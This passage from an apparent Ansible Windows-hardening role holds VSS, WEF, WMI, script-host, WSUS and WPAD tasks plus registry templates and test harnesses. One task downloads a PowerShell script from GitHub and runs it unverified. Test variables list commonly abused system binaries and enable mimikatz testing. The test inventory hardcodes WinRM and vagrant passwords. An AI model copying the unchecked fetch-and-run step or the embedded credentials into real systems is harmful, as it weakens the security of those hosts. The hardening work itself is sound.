/S:"D:PAI(D;OICI;DCLC;;;WD)(A;;0x1200ab;;;AU)(A;;FA;;;BA)(A;OICIIO;GA;;;BA)(A;;FA;;;SY)(A;OICIIO;GA;;;SY)(A;OICIIO;GA;;;CO)" 31 | when: harden_win_disable_taskscheduler_by_acl 32 | -------------------------------------------------------------------------------- /tasks/windows-usb.yml: -------------------------------------------------------------------------------- 1 | --- 2 | -------------------------------------------------------------------------------- /tasks/windows-vss.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/ 3 | 4 | - name: Win10- 5 | when: ansible_distribution_major_version | int < 10 6 | block: 7 | - name: List state of shadow volumes 8 | ansible.windows.win_command: "vssadmin.exe list volumes" 9 | changed_when: false 10 | register: vssvol 11 | - name: Debug | vssvol output 12 | ansible.builtin.debug: 13 | var: vssvol 14 | - name: List state of shadowstorage 15 | ansible.windows.win_command: "vssadmin.exe list shadowstorage" 16 | changed_when: false 17 | register: vssstor 18 | failed_when: false 19 | - name: Debug | vssstor output 20 | ansible.builtin.debug: 21 | var: vssstor 22 | 23 | ## https://technet.microsoft.com/en-us/library/cc788051(v=ws.11).aspx 24 | ## but return 'invalid command' in some cases??? only on server? 25 | ## 'add' option not available on win10 26 | - name: Enable shadow copy for c 27 | ansible.windows.win_command: "vssadmin.exe add shadowstorage /for=c: /on=c: /maxsize=15%" 28 | when: 29 | - '"Shadow Copy Storage volume: (C:)" not in vssstor.stdout' 30 | - ansible_distribution_major_version | int < 10 31 | failed_when: false 32 | 33 | - name: Ensure VSS service enabled 34 | ansible.windows.win_service: 35 | name: "VSS" 36 | start_mode: auto 37 | state: started 38 | 39 | ## FIXME! UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 139: ordinal not in range(128) 40 | ## FIXME! win10: not idempotent 41 | - name: Schedule regular shadow copy 42 | community.windows.win_scheduled_task: 43 | name: "VSS_Snapshot" 44 | description: "Take daily shadow copy for c" 45 | actions: 46 | - path: wmic.exe 47 | arguments: "/Namespace:\\root\\default Path SystemRestore Call CreateRestorePoint \"%DATE%\", 100, 7" 48 | triggers: 49 | - type: daily 50 | start_boundary: '2019-01-01T09:00:00' 51 | enable: yes 52 | state: present 53 | user: SYSTEM 54 | failed_when: false 55 | # when: ansible_distribution_major_version | int < 10 56 | 57 | - name: Remove access permission vssadmin.exe 58 | ansible.windows.win_acl: 59 | path: C:\Windows\system32\vssadmin.exe 60 | user: Everyone 61 | type: deny 62 | rights: ExecuteFile,Read,Write,Modify 63 | state: present 64 | when: ansible_distribution_major_version | int >= 10 65 | -------------------------------------------------------------------------------- /tasks/windows-wef.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Add wef collector server to Event Log readers local group 4 | ansible.windows.win_user: 5 | name: "{{ harden_win_wef_collector_server_user }}" 6 | state: present 7 | groups_action: add 8 | groups: 9 | - Event Log Readers 10 | when: harden_win_wef_collector_server_user is defined and harden_win_wef_collector_server_user 11 | 12 | - name: Upload WEF configuration template 13 | ansible.windows.win_template: 14 | src: "{{ item }}" 15 | dest: "{{ harden_win_temp_dir }}\\{{ item | win_basename }}" 16 | backup: yes 17 | with_items: "{{ harden_win_wef_templates_list }}" 18 | 19 | - name: Configure WEF subscriptions 20 | ansible.windows.win_command: "wecutil cs {{ harden_win_temp_dir }}\\{{ item | win_basename }}" 21 | with_items: "{{ harden_win_wef_templates_list }}" 22 | -------------------------------------------------------------------------------- /tasks/windows-wmi-monitor.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ## FIXME! no checksum option 4 | - name: Check if WMI_Monitor archive is present 5 | ansible.windows.win_stat: 6 | path: "{{ harden_win_temp_dir }}\\WMIMonitor.ps1" 7 | register: wmimondl 8 | - name: Download WMI_Monitor 9 | ansible.windows.win_get_url: 10 | url: https://raw.githubusercontent.com/realparisi/WMI_Monitor/master/WMIMonitor.ps1 11 | dest: "{{ harden_win_temp_dir }}\\WMIMonitor.ps1" 12 | when: not wmimondl.stat.exists 13 | register: dl_result 14 | until: dl_result is success 15 | 16 | - name: Run WMIMonitor 17 | ansible.windows.win_shell: "\"{{ harden_win_temp_dir }}\\WMIMonitor.ps1\"" 18 | register: wmiout 19 | ignore_errors: true 20 | 21 | - name: Debug | wmiout 22 | ansible.builtin.debug: 23 | var: wmiout 24 | -------------------------------------------------------------------------------- /tasks/windows-wmi.yml: -------------------------------------------------------------------------------- 1 | --- 2 | ## Note: win10 uses Microsoft-Windows-WMI-Activity/Operational 3 | 4 | ## https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/ 5 | ## https://msdn.microsoft.com/en-us/library/windows/desktop/aa826686(v=vs.85).aspx 6 | - name: Get WMI Tracing state 7 | ansible.builtin.raw: "Wevtutil.exe gl Microsoft-Windows-WMI-Activity/Trace" 8 | register: wmilogging 9 | changed_when: false 10 | 11 | # - debug: var=wmilogging 12 | 13 | - name: Enabling WMI Tracing # noqa no-changed-when 14 | # ansible.builtin.raw: "Wevtutil.exe sl Microsoft-Windows-WMI-Activity/Trace /e:true" 15 | ansible.builtin.raw: "echo y | Wevtutil.exe sl Microsoft-Windows-WMI-Activity/Trace /e:true /ms:512000 /q" 16 | when: '"enabled: false" in wmilogging.stdout' 17 | failed_when: false 18 | -------------------------------------------------------------------------------- /tasks/windows-wsh.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Disable Windows Script Host (1) 4 | ansible.windows.win_regedit: 5 | key: HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings 6 | value: Enabled 7 | data: 0 8 | datatype: dword 9 | when: harden_win_disable_wsh 10 | 11 | - name: Disable Windows Script Host (2) 12 | ansible.windows.win_regedit: 13 | key: HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings 14 | value: IgnoreUserSettings 15 | data: 1 16 | datatype: dword 17 | when: harden_win_disable_wsh 18 | 19 | ## not sure about this one? 20 | # - name: Enable SAFER - Software Restrictions Policies block scripts 21 | # ansible.windows.win_regedit: 22 | # key: HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings 23 | # value: UseWinSAFER 24 | # data: 0 25 | 26 | ## FIXME! NOK 27 | ## Note: HKCR only applies if HKCU doesn't exist. better enforcing with GPO 28 | - name: Disable javascript execution by Windows Script Host (HKCR) 29 | ansible.windows.win_regedit: 30 | key: "{{ item }}" 31 | data: "\"%windir%\\system32\\notepad.exe\" \"%1\"" 32 | with_items: 33 | - "HKCR:\\htafile\\shell\\open\\command" 34 | - "HKCR:\\VBSFile\\shell\\edit\\command" 35 | - "HKCR:\\VBSFile\\shell\\open\\command" 36 | - "HKCR:\\VBSFile\\shell\\open2\\command" 37 | - "HKCR:\\VBEFile\\shell\\edit\\command" 38 | - "HKCR:\\VBEFile\\shell\\open\\command" 39 | - "HKCR:\\VBEFile\\shell\\open2\\command" 40 | - "HKCR:\\JSFile\\shell\\open\\command" 41 | - "HKCR:\\JSEFile\\shell\\open\\command" 42 | - "HKCR:\\wshfile\\shell\\open\\command" 43 | - "HKCR:\\scriptletfile\\shell\\open\\command" ## default 44 | when: harden_win_disable_wsh_assoc 45 | 46 | # Windows Scripting Host introduced signature enforcement in 2001...and virtually no one uses it (that I’ve ever seen) https://twitter.com/cglyer/status/1182343962092331010 47 | # https://www.itworld.com/article/2784534/vbscript---enforcing-the-use-of-digital-scripts.html 48 | # microsoft docs??? 49 | - name: Enforce signed WSH only 50 | ansible.windows.win_regedit: 51 | key: HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings 52 | value: TrustPolicy 53 | data: "{{ harden_win_wsh_trustpolicy | default(2) }}" 54 | datatype: dword 55 | -------------------------------------------------------------------------------- /tasks/windows-wsus.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: WSUS | Configure WUServer 4 | ansible.windows.win_regedit: 5 | key: HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate 6 | value: WUServer 7 | data: "{{ harden_win_wsus_server }}" 8 | datatype: string 9 | 10 | - name: WSUS | Configure WUStatusServer 11 | ansible.windows.win_regedit: 12 | key: HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate 13 | value: WUStatusServer 14 | data: "{{ harden_win_wsus_server }}" 15 | datatype: string 16 | 17 | - name: WSUS | Configure who can approve updates 18 | ansible.windows.win_regedit: 19 | key: HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate 20 | value: ElevateNonAdmins 21 | data: "{{ harden_win_wsus_elevatenonadmins }}" 22 | datatype: dword 23 | 24 | - name: WSUS | Configure Automatic updates 25 | ansible.windows.win_regedit: 26 | key: HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU 27 | value: "{{ item.v }}" 28 | data: "{{ item.d }}" 29 | datatype: dword 30 | with_items: 31 | - { v: AUOptions, d: "{{ harden_win_wsus_AUOptions }}" } 32 | - { v: NoAutoUpdate, d: "{{ harden_win_wsus_NoAutoUpdate }}" } 33 | - { v: RebootWarningTimeoutEnabled, d: "{{ harden_win_wsus_RebootWarningTimeoutEnabled }}" } 34 | - { v: UseWUServer, d: 1 } 35 | -------------------------------------------------------------------------------- /tasks/windows10.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ## Win server 2k8+ 4 | # - ansible.builtin.import_tasks: windows-filescreening.yml 5 | 6 | ## https://docs.microsoft.com/en-us/windows/threat-protection/block-untrusted-fonts-in-enterprise 7 | ## Application and Service Logs/Microsoft/Windows/Win32k/Operational. Review Event ID 260 8 | - name: Win10 | Block Untrusted Fonts - Audit mode 9 | ansible.windows.win_regedit: 10 | key: HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel 11 | value: MitigationOptions 12 | data: 3000000000000 13 | # data: 1000000000000 14 | datatype: qword 15 | 16 | # https://twitter.com/wdormann/status/962815557732102144 17 | # https://gist.github.com/wdormann/49f1807431b0d5b5cd151337e6478f20 18 | # https://winaero.com/blog/disable-ads-windows-10/ 19 | # https://twitter.com/Barnacules/status/1185783977941983233 20 | - name: Win10 | Disabling Windows 10 automatic installation of 3rd-party foistware 21 | ansible.windows.win_regedit: 22 | key: "{{ item.k }}" 23 | value: "{{ item.v }}" 24 | data: "{{ item.d }}" 25 | datatype: "{{ item.t }}" 26 | with_items: 27 | - { k: 'HKCU:\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy', 28 | v: 'Disabled', 29 | d: 1, 30 | t: dword 31 | } 32 | - { k: 'HKCU:\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager', 33 | v: 'SubscribedContent-338388Enabled', 34 | d: 0, 35 | t: dword 36 | } 37 | - { k: 'HKCU:\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager', 38 | v: 'SilentInstalledAppsEnabled', 39 | d: 0, 40 | t: dword 41 | } 42 | - { k: 'HKCU:\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager', 43 | v: 'SystemPaneSuggestionsEnabled', 44 | d: 0, 45 | t: dword 46 | } 47 | - { k: 'HKCU:\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager', 48 | v: 'ShowSyncProviderNotifications', 49 | d: 0, 50 | t: dword 51 | } 52 | - { k: 'HKCU:\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager', 53 | v: 'SoftLandingEnabled', 54 | d: 0, 55 | t: dword 56 | } 57 | - { k: 'HKCU:\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager', 58 | v: 'RotatingLockScreenEnabled', 59 | d: 0, 60 | t: dword 61 | } 62 | - { k: 'HKCU:\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager', 63 | v: 'RotatingLockScreenOverlayEnabled', 64 | d: 0, 65 | t: dword 66 | } 67 | - { k: 'HKCU:\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager', 68 | v: 'SubscribedContent-310093Enabled', 69 | d: 0, 70 | t: dword 71 | } 72 | - { k: 'HKLM:\Software\Policies\Microsoft\Windows\CloudContent', 73 | v: 'DisableWindowsConsumerFeatures', 74 | d: 1, 75 | t: dword 76 | } 77 | 78 | - name: Import process-mitigation 79 | ansible.builtin.import_tasks: process-mitigation.yml 80 | when: harden_win_exploitmitigation 81 | -------------------------------------------------------------------------------- /tasks/wpad-disable.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Disable wpad - HKCU 4 | ansible.windows.win_regedit: 5 | key: HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad 6 | value: WpadOverride 7 | datatype: dword 8 | data: 1 9 | 10 | - name: Disable wpad - HKLM 11 | ansible.windows.win_regedit: 12 | key: HKLM:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad 13 | value: WpadOverride 14 | datatype: dword 15 | data: 1 16 | -------------------------------------------------------------------------------- /templates/WEF-Subscription.xml.j2: -------------------------------------------------------------------------------- 1 | {{ ansible_managed | comment('xml') }} 2 | 3 | WEF Security Subscription 4 | SourceInitiated 5 | Important Security Events 6 | true 7 | http://schemas.microsoft.com/wbem/wsman/1/windows/EventLog 8 | 9 | 10 | MinLatency 11 | 25 | 26 | 27 | 29 | 30 | 31 | 32 | 33 | ]]> 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | ]]> 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 67 | 68 | 69 | 70 | ]]> 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | ]]> 102 | 103 | 104 | true 105 | http 106 | RenderedText 107 | 108 | ForwardedEvents 109 | 110 | O:NSG:NSD:(A;;GA;;;DC)(A;;GA;;;NS) 111 | 112 | -------------------------------------------------------------------------------- /templates/directory_prompt.reg.j2: -------------------------------------------------------------------------------- 1 | Windows Registry Editor Version 5.00 2 | {{ ansible_managed | comment(decoration="; ") }} 3 | 4 | ; Win10 restrict changes on some registry key like cmd. SACL update needed first 5 | ; 6 | ; https://blogs.msdn.microsoft.com/andrew_richards/2017/03/01/enhancing-the-open-command-prompt-here-shift-right-click-context-menu-experience/ 7 | ; 8 | 9 | ; Command Prompt 10 | 11 | [HKEY_CLASSES_ROOT\Directory\shell\01MenuCmd] 12 | "MUIVerb"="Command Prompts" 13 | "Icon"="cmd.exe" 14 | "ExtendedSubCommandsKey"="Directory\\ContextMenus\\MenuCmd" 15 | 16 | [HKEY_CLASSES_ROOT\Directory\background\shell\01MenuCmd] 17 | "MUIVerb"="Command Prompts" 18 | "Icon"="cmd.exe" 19 | "ExtendedSubCommandsKey"="Directory\\ContextMenus\\MenuCmd" 20 | 21 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuCmd\shell\open] 22 | "MUIVerb"="Command Prompt" 23 | "Icon"="cmd.exe" 24 | 25 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuCmd\shell\open\command] 26 | @="cmd.exe /s /k pushd \"%V\"" 27 | 28 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuCmd\shell\runas] 29 | "MUIVerb"="Command Prompt Elevated" 30 | "Icon"="cmd.exe" 31 | "HasLUAShield"="" 32 | 33 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuCmd\shell\runas\command] 34 | @="cmd.exe /s /k pushd \"%V\"" 35 | 36 | 37 | ; PowerShell 38 | 39 | [HKEY_CLASSES_ROOT\Directory\shell\02MenuPowerShell] 40 | "MUIVerb"="PowerShell Prompts" 41 | "Icon"="powershell.exe" 42 | "ExtendedSubCommandsKey"="Directory\\ContextMenus\\MenuPowerShell" 43 | 44 | [HKEY_CLASSES_ROOT\Directory\background\shell\02MenuPowerShell] 45 | "MUIVerb"="PowerShell Prompts" 46 | "Icon"="powershell.exe" 47 | "ExtendedSubCommandsKey"="Directory\\ContextMenus\\MenuPowerShell" 48 | 49 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuPowerShell\shell\open] 50 | "MUIVerb"="PowerShell" 51 | "Icon"="powershell.exe" 52 | 53 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuPowerShell\shell\open\command] 54 | @="powershell.exe -noexit -command Set-Location '%V'" 55 | 56 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuPowerShell\shell\runas] 57 | "MUIVerb"="PowerShell Elevated" 58 | "Icon"="powershell.exe" 59 | "HasLUAShield"="" 60 | 61 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuPowerShell\shell\runas\command] 62 | @="powershell.exe -noexit -command Set-Location '%V'" 63 | 64 | 65 | ; Ensure OS Entries are on the Extended Menu (Shift-Right Click) 66 | 67 | [HKEY_CLASSES_ROOT\Directory\shell\cmd] 68 | "Extended"="" 69 | 70 | [HKEY_CLASSES_ROOT\Directory\background\shell\cmd] 71 | "Extended"="" 72 | 73 | [HKEY_CLASSES_ROOT\Directory\shell\Powershell] 74 | "Extended"="" 75 | 76 | [HKEY_CLASSES_ROOT\Directory\background\shell\Powershell] 77 | "Extended"="" 78 | -------------------------------------------------------------------------------- /templates/directory_prompt_git.reg.j2: -------------------------------------------------------------------------------- 1 | Windows Registry Editor Version 5.00 2 | {{ ansible_managed | comment(decoration="; ") }} 3 | 4 | ; GIT 5 | 6 | [HKEY_CLASSES_ROOT\Directory\shell\03MenuGit] 7 | "MUIVerb"="GIT Prompts" 8 | "Icon"="C:\\Program Files\\Git\\mingw64\\share\\git\\git-for-windows.ico" 9 | "ExtendedSubCommandsKey"="Directory\\ContextMenus\\MenuGit" 10 | 11 | [HKEY_CLASSES_ROOT\Directory\background\shell\03MenuGit] 12 | "MUIVerb"="GIT Prompts" 13 | "Icon"="C:\\Program Files\\Git\\mingw64\\share\\git\\git-for-windows.ico" 14 | "ExtendedSubCommandsKey"="Directory\\ContextMenus\\MenuGit" 15 | 16 | 17 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuGit\shell\git_gui] 18 | "MUIVerb"="GIT GUI" 19 | "Icon"="C:\\Program Files\\Git\\mingw64\\share\\git\\git-for-windows.ico" 20 | 21 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuGit\shell\git_gui\command] 22 | @="\"C:\\Program Files\\Git\\cmd\\git-gui.exe\" \"--working-dir\" \"%v.\"" 23 | 24 | 25 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuGit\shell\git_shell] 26 | "MUIVerb"="GIT BASH" 27 | "Icon"="C:\\Program Files\\Git\\mingw64\\share\\git\\git-for-windows.ico" 28 | 29 | [HKEY_CLASSES_ROOT\Directory\ContextMenus\MenuGit\shell\git_shell\command] 30 | @="\"C:\\Program Files\\Git\\git-bash.exe\" \"--cd=%v.\"" 31 | 32 | 33 | ; Move Official GIT Entries to the Extended Menu (Shift-Right Click) 34 | 35 | [HKEY_CLASSES_ROOT\Directory\shell\git_gui] 36 | "Extended"="" 37 | 38 | [HKEY_CLASSES_ROOT\Directory\background\shell\git_gui] 39 | "Extended"="" 40 | 41 | [HKEY_CLASSES_ROOT\Directory\shell\git_shell] 42 | "Extended"="" 43 | 44 | [HKEY_CLASSES_ROOT\Directory\background\shell\git_shell] 45 | "Extended"="" 46 | -------------------------------------------------------------------------------- /templates/iad-audit-policies.ps1.j2: -------------------------------------------------------------------------------- 1 | {{ ansible_managed | comment }} 2 | 3 | Import-Module -Name .\Compliance.psm1 4 | #Test-Compliance -Path '..\..\Adobe Reader\Compliance\AdobeReaderDC.audit' 5 | Test-Compliance -Path '..\..\Chrome\Compliance\GoogleChrome.audit' 6 | Test-Compliance -Path '..\..\Internet Explorer\Compliance\InternetExplorer11.audit' 7 | Test-Compliance -Path '..\..\Windows\Compliance\Windows10.audit' 8 | -------------------------------------------------------------------------------- /templates/mms.cfg.j2: -------------------------------------------------------------------------------- 1 | LocalFileReadDisable = 1 2 | FileDownloadDisable = 1 3 | FileUploadDisable = 1 4 | SilentAutoUpdateEnable = 1 5 | DisableSockets = 1 6 | ProtectedMode = 1 7 | SilentAutoUpdateEnable=1 8 | AutoUpdateDisable=0 9 | -------------------------------------------------------------------------------- /templates/run-no-uac.reg.j2: -------------------------------------------------------------------------------- 1 | Windows Registry Editor Version 5.00 2 | {{ ansible_managed | comment(decoration="; ") }} 3 | 4 | ; 5 | ; https://superuser.com/questions/171917/force-a-program-to-run-without-administrator-privileges-or-uac 6 | ; 7 | 8 | [HKEY_CLASSES_ROOT\*\shell\forcerunasinvoker] 9 | @="Run without admin rights (UAC)" 10 | 11 | [HKEY_CLASSES_ROOT\*\shell\forcerunasinvoker\command] 12 | @="cmd /min /C \"set __COMPAT_LAYER=RUNASINVOKER && start \"\" \"%1\"\"" 13 | -------------------------------------------------------------------------------- /test/appveyor/WinrmAppveyor.psm1: -------------------------------------------------------------------------------- 1 | # from https://github.com/WinRb/WinRM/blob/master/WinrmAppveyor.psm1, APL2 2 | function New-ClientCertificate { 3 | param([String]$username, [String]$basePath = ((Resolve-Path .).Path)) 4 | 5 | $env:OPENSSL_CONF=[System.IO.Path]::GetTempFileName() 6 | 7 | Set-Content -Path $env:OPENSSL_CONF -Value @" 8 | distinguished_name = req_distinguished_name 9 | [req_distinguished_name] 10 | [v3_req_client] 11 | extendedKeyUsage = clientAuth 12 | subjectAltName = otherName:1.3.6.1.4.1.311.20.2.3;UTF8:$username@localhost 13 | "@ 14 | 15 | $user_path = Join-Path $basePath user.pem 16 | $key_path = Join-Path $basePath key.pem 17 | $pfx_path = Join-Path $basePath user.pfx 18 | 19 | openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -out $user_path -outform PEM -keyout $key_path -subj "/CN=$username" -extensions v3_req_client 2>&1 20 | 21 | openssl pkcs12 -export -in $user_path -inkey $key_path -out $pfx_path -passout pass: 2>&1 22 | 23 | del $env:OPENSSL_CONF 24 | } 25 | 26 | function New-WinrmUserCertificateMapping { 27 | param([String]$issuer) 28 | $secure_pass = ConvertTo-SecureString $env:winrm_password -AsPlainText -Force 29 | $cred = New-Object System.Management.Automation.PSCredential ($env:winrm_user, $secure_pass) 30 | New-Item -Path WSMan:\localhost\ClientCertificate -Subject "$env:winrm_user@localhost" -URI * -Issuer $issuer -Credential $cred -Force 31 | } 32 | 33 | Export-ModuleMember New-ClientCertificate, New-WinrmUserCertificateMapping 34 | -------------------------------------------------------------------------------- /test/appveyor/ansible.cfg: -------------------------------------------------------------------------------- 1 | [defaults] 2 | callbacks_enabled = profile_tasks, timer 3 | -------------------------------------------------------------------------------- /test/appveyor/inventory: -------------------------------------------------------------------------------- 1 | localhost ansible_user=winrm_test_user ansible_password=WinRM_test_Pass@w0rd1 ansible_connection=winrm ansible_winrm_server_cert_validation=ignore 2 | -------------------------------------------------------------------------------- /test/inspec/controls/tests.rb: -------------------------------------------------------------------------------- 1 | include_controls 'windows-baseline' do 2 | end 3 | -------------------------------------------------------------------------------- /test/inspec/inspec.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: harden-windows-tests 3 | title: InSpec Profile for windows hardening 4 | maintainer: juju4 5 | license: BSD 6 | version: 1.0.0 7 | supports: 8 | - os-family: windows 9 | depends: 10 | - name: windows-baseline 11 | url: https://github.com/juju4/windows-baseline/archive/master.tar.gz 12 | -------------------------------------------------------------------------------- /test/inspec/profile-attributes-Windows.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # not available/approved in chocolatey, https://chocolatey.org/packages/laps 3 | laps_present: false 4 | # CI/Appveyor 5 | windows_deviceguard: false 6 | windows_defaultpassword: false 7 | windows_suspicous_fileassoc_hkcu_check: false 8 | # ansible 9 | windows_networklogonrights: false 10 | -------------------------------------------------------------------------------- /test/integration/ansible/ansiblespec/Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | gem 'rake' 4 | gem 'busser-ansiblespec', '<=0.6.5' 5 | -------------------------------------------------------------------------------- /test/integration/ansible/default.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Test integration playbook 4 | hosts: ansible 5 | tasks: 6 | - name: Install ansible 7 | ansible.builtin.package: 8 | name: ansible 9 | state: present 10 | -------------------------------------------------------------------------------- /test/integration/default-HEAD/connection_plugins/packer.py: -------------------------------------------------------------------------------- 1 | # from https://www.packer.io/docs/provisioners/ansible.html 2 | from __future__ import (absolute_import, division, print_function) 3 | __metaclass__ = type 4 | 5 | from ansible.plugins.connection.ssh import Connection as SSHConnection 6 | 7 | class Connection(SSHConnection): 8 | ''' ssh based connections for powershell via packer''' 9 | 10 | transport = 'packer' 11 | has_pipelining = True 12 | become_methods = [] 13 | allow_executable = False 14 | module_implementation_preferences = ('.ps1', '') 15 | 16 | def __init__(self, *args, **kwargs): 17 | super(Connection, self).__init__(*args, **kwargs) 18 | -------------------------------------------------------------------------------- /test/integration/default-HEAD/default.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Test Integration playbook 4 | hosts: all 5 | become_method: ansible.builtin.runas 6 | vars: 7 | harden_win_palantir_AutorunsToWinEventLog_version: HEAD 8 | harden_win_securityupdates: false 9 | # harden_win_registry: false 10 | # harden_win_gpo_local: true 11 | # harden_win_inf_MinimumPasswordLength: 6 12 | # harden_win_inf_PasswordComplexity: 0 13 | # harden_win_adobereader: false 14 | # harden_win_flash: false 15 | harden_win_netcease: false 16 | # harden_win_simplednscrypt: false 17 | # win_osquery: false 18 | # harden_win_certificates_review: false 19 | # harden_win_lsa_harden: true 20 | # harden_win_mbrfilter: true 21 | harden_win_samri: false 22 | harden_win_restrict_usb: true 23 | harden_win_remotelogging: false 24 | win_firewall: false 25 | harden_win_configure_errorreporting: true 26 | harden_win_restrict_dma: true 27 | harden_win_forcing_afterhours_logoff: true 28 | # harden_win_wef_enable: true 29 | # harden_win_wef_collector_server_user: '' 30 | win_applocker_enable: true 31 | win_applocker_policy: "applocker-medium.xml" 32 | win_applocker_mode_exe: "Enabled" 33 | win_applocker_mode_script: "AuditOnly" 34 | win_applocker_mode_msi: "Enabled" 35 | win_applocker_mode_appx: "Enabled" 36 | win_applocker_mode_dll: "AuditOnly" 37 | win_testing_applocker_filepath: 38 | - 'c:\windows\system32\calc.exe' 39 | - 'c:\windows\system32\mshta.exe' 40 | - 'c:\windows\system32\regsvr32.exe' 41 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe' 42 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe' 43 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe' 44 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe' 45 | - 'c:\windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe' 46 | - 'c:\windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe' 47 | harden_win_testing: true 48 | harden_win_testing_inspec: true 49 | win_testing_applocker: true 50 | harden_win_testing_uac: false 51 | harden_win_testing_opf: false 52 | harden_win_testing_privesc: false 53 | harden_win_testing_mimikatz: true 54 | win_testing_msoffice: false 55 | harden_win_testing_speculative: true 56 | harden_win_testing_intelme: false 57 | harden_win_testing_iad: true 58 | harden_win_testing_iad_apply: false 59 | harden_win_testing_detections: true 60 | # if Azure 61 | # harden_win_NtlmMinServerSec: 536870912 62 | # harden_win_testing_mimikatz: false 63 | # harden_win_testing_detections: false 64 | roles: 65 | - juju4.harden_windows 66 | -------------------------------------------------------------------------------- /test/integration/default-HEAD/serverspec/Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | gem 'serverspec' 4 | gem 'rake' 5 | ## for junit output and jenkins support 6 | ## FIXME! travis: 'Could not find gem 'yarjuf' in any of the gem sources listed in your Gemfile or available on this machine.' 7 | #gem 'yarjuf' 8 | -------------------------------------------------------------------------------- /test/integration/default-HEAD/serverspec/Rakefile: -------------------------------------------------------------------------------- 1 | require 'rake' 2 | require 'rspec/core/rake_task' 3 | 4 | RSpec::Core::RakeTask.new(:spec) do |t| 5 | t.pattern = '*_spec.rb' 6 | end 7 | 8 | task :default => :spec 9 | -------------------------------------------------------------------------------- /test/integration/default-HEAD/serverspec/hardenwindows_spec.rb: -------------------------------------------------------------------------------- 1 | ## https://github.com/mizzy/serverspec/blob/master/WINDOWS_SUPPORT.md 2 | ## http://shawinnes.com/testing-windows-infrastructure-with-serverspec/ 3 | ## http://kitchen.ci/blog/test-kitchen-windows-test-flight-with-vagrant 4 | ## TARGET_HOST=192.168.2.109 rake spec 5 | 6 | require 'serverspec' 7 | require 'winrm' 8 | 9 | set :backend, :winrm 10 | set :os, :family => 'windows' 11 | 12 | user = 'vagrant' 13 | pass = 'vagrant' 14 | endpoint = "http://#{ENV['TARGET_HOST']}:5985/wsman" 15 | 16 | ## WARN WinRM::WinRMWebService : WinRM::WinRMWebService#run_powershell_script is deprecated. Use WinRM::CommandExecutor#run_powershell_script instead 17 | ## WARN WinRM::WinRMWebService : [WinRM] connection failed, terminating (# user, :pass => pass, :basic_auth_only => true) 20 | winrm.set_timeout 300 # 5 minutes max timeout for any operation 21 | Specinfra.configuration.winrm = winrm 22 | 23 | describe file('c:/windows') do 24 | it { should be_directory } 25 | it { should be_readable } 26 | it { should_not be_writable.by('Everyone') } 27 | end 28 | 29 | describe port(139) do 30 | it { should be_listening } 31 | end 32 | 33 | describe windows_registry_key('HKEY_USERS\S-1-5-21-1319311448-2088773778-316617838-32407\Test MyKey') do 34 | it { should exist } 35 | it { should have_property('string value') } 36 | it { should have_property('binary value', :type_binary) } 37 | it { should have_property('dword value', :type_dword) } 38 | it { should have_value('test default data') 